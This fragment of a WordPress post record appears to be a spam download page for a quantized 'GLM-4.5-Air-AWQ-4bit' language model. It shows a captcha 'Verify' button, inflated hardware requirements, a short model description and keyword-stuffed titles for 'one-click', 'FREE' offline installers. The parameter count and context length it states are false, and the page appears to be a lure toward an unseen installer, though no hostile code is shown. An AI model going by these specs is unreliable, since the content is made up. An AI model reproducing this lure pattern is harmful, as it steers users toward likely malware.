#2f6fdd;border-radius:6px;color:#fff;font-weight:500\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:24px;padding-left:19px;margin-left:0\">\n<li><b>Processor:<\/b> 6-core <b>3.5 GHz<\/b> minimum required<\/li>\n<li><b>RAM:<\/b> 64 GB to <b>avoid OOM crashes<\/b> on large contexts<\/li>\n<li><b>Disk Space:<\/b> free: 80 GB on <b>system drive<\/b> for scratch space<\/li>\n<li><strong>Graphic Processor:<\/strong> hardware <strong>Tensor Cores<\/strong> support needed for FP16 acceleration<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The <b>GLM-4.5-Air-AWQ-4bit<\/b> is a compact yet powerful language model designed for both research and production environments. It leverages <i>Activation\u2011aware Quantization (AWQ)<\/i> to achieve high inference speed while preserving much of its original performance. With <b>6\u202fbillion parameters<\/b> and an <b>8K token context window<\/b>, the model can handle complex reasoning tasks and long\u2011form generation efficiently. The 4\u2011bit quantization reduces memory footprint and enables deployment on consumer\u2011grade hardware without noticeable loss in accuracy. Users appreciate its balanced trade\u2011off between size, speed, and capability, making it ideal for developers seeking a lightweight yet versatile AI assistant. Below is a quick overview of its key technical specifications.    <\/p>\n<table>\n<tr>\n<td><b>Parameters<\/b><\/td>\n<td>6\u202fB<\/td>\n<\/tr>\n<tr>\n<td><b>Context Length<\/b><\/td>\n<td>8K tokens<\/td>\n<\/tr>\n<tr>\n<td><b>Quantization<\/b><\/td>\n<td>AWQ 4\u2011bit<\/td>\n<\/tr>\n<\/table>\n<ul>\n<li>Setup tool initializing prefix-caching parameters inside production-tier vLLM system computing rigs<\/li>\n<li>Install GLM-4.5-Air-AWQ-4bit One-Click Setup Offline Setup FREE<\/li>\n<li>Installer configuring privateGPT setups using advanced multi-backend tensor parallelism arrays<\/li>\n<li>How to Autostart GLM-4.5-Air-AWQ-4bit on AMD\/Nvidia GPU No-Code Guide<\/li>\n<li>Patch tuning Mistral-Large-Instruct parameters for low-latency offline multi-user network servers<\/li>\n<li>Run GLM-4.5-Air-AWQ-4bit Locally (No Cloud) 2026\/2027 Tutorial Windows<\/li>\n<\/ul>\n<p><a href=\"https:\/\/moonaki.com\/category\/loras\/\">https:\/\/moonaki.com\/category\/loras\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>If you want the fastest local installation for this mod&hellip;<\/p>\n","protected":false},"author":23,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[246],"tags":[],"class_list":["post-24739","post","type-post","status-publish","format-standard","hentry","category-agents"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.1 - 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